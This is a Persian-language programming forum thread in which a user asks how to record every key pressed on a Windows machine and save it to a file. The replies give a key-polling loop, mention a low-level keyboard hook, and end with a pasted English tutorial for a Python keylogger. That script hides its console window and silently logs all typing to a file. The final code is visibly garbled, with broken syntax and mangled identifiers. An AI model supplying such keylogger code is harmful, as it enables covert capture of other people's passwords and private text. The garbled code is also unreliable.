ورود

View Full Version : سوال: چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ (پایتون)



franchesco
دوشنبه 27 دی 1389, 11:48 صبح
با سلام

چطور میشه تمام کلیدهای فشرده شده توسط کیبورد رو خوند وجایی ذخیره کرد ؟ آیا همچین کلاسی برای این کار توی پایتون وجود داره ؟

sgb110
دوشنبه 27 دی 1389, 12:24 عصر
سلام


import ctypes
from ctypes.wintypes import *
user32=ctypes.windll.user32

while 1:
try:
for i in range(255):
code=user32.GetAsyncKeyState(i)
if code!=0 & i!=255:

print(i)
except:
pass

franchesco
دوشنبه 27 دی 1389, 12:54 عصر
ممنون دوست عزیز لطف کردین
میشه یک توضیح مختر در مورد این برنامه بدین ؟ تا من بهتر بفهمم که چطور کار میکنه ؟

چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!

sgb110
دوشنبه 27 دی 1389, 15:22 عصر
چون اجراش کردم ولی نتونستم جوابی بگیرم !!!!

منظورتون چیه؟
اگه این کد رو اجرا کنید هر کلیدی رو که فشار بدید کد اسکی اون رو چاپ می کنه براتون
در مورد کد هم از API های ویندوز داره استفاده می کنه

franchesco
دوشنبه 27 دی 1389, 17:38 عصر
ببینید دوست عزیز من میخوام هر کراکتری که توسط کیبورد فشار داده میشه دقیقا همون همون کاراکتر (مثل a ) دقیقا همین کاراکتر رو بگیرم و بتونم توی یک فایل ذخیره کنم !
منظور من این بود

r00tkit
دوشنبه 27 دی 1389, 18:03 عصر
سلام همهی کلید های فشرده شده تو برنامهی خودت فقط؟ اگه yes همون کد بالا کارت رو راه میندازه کد اسکی رو به کاراکتر مورد نظر تبدیل کن

franchesco
دوشنبه 27 دی 1389, 20:39 عصر
سلام همهی کلید های فشرده شده تو برنامهی خودت فقط؟ اگه yes همون کد بالا کارت رو راه میندازه کد اسکی رو به کاراکتر مورد نظر تبدیل کن

نه دوست عزیز !

از زمانی که این برنامه اجرا میشه هر کلیدی و به هر منظوری که فشرده میشه رو میگیرد و ذخیره میکند ... در این صورت راه حلی کسی داره؟

r00tkit
دوشنبه 27 دی 1389, 20:57 عصر
چرا نیست برادر
SetWindowsHookEx

یه هوک سطح پایین می خواد WH_KEYBOARD_LL

franchesco
دوشنبه 27 دی 1389, 21:15 عصر
دوست عزیز میشه یه کم بیشتر توضیح بدی ؟

r00tkit
دوشنبه 27 دی 1389, 21:45 عصر
سرچ گن عزیز بردار

از pyhook استفاده کن اینم مثال :





Download and install the necessary software:

Python 2.6: http://www.python.org/
Pyhook for Python 2.6: pyhook.sourceforge.net (http://pyhook.sourceforge.net/)
Python for Windows Extensions: http://sourceforge.net/projects/pywin32/ (http://http//sourceforge.net/projects/pywin32/)

From the Start menu, select "Python 2.6> PythonWin" to start the editor
From the menu select "File> New", then choose the "Python Script" and give "OK"
Paste the following source (attention to indentation)


import WIN32API
import win32console
import win32gui

import pythoncom, pyHook

win32console.GetConsoleWindow win = ()
win32gui.ShowWindow (win, 0)

final OnKeyboardEvent (event):
if event.Ascii == 5:
_exit (1)

if event.Ascii! = 0 or 8:
f = open ( 'c: \ output.txt', 'r')
buffer = f.read ()
f.close ()
f = open ( 'c: \ output.txt', 'w')
keylogs = chr (event.Ascii)
if event.Ascii == 13:
keylogs = '/ n'
buffer + = keylogs
f.write (buffer)
f.close ()

hm = pyHook.HookManager ()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()
Save the file in c: \ as "logger.py," then by PythonWin type CTRL + R: the keylogger will come started in the background and will run until the log file "C: \ output.txt" anything that will typed on the keyboard.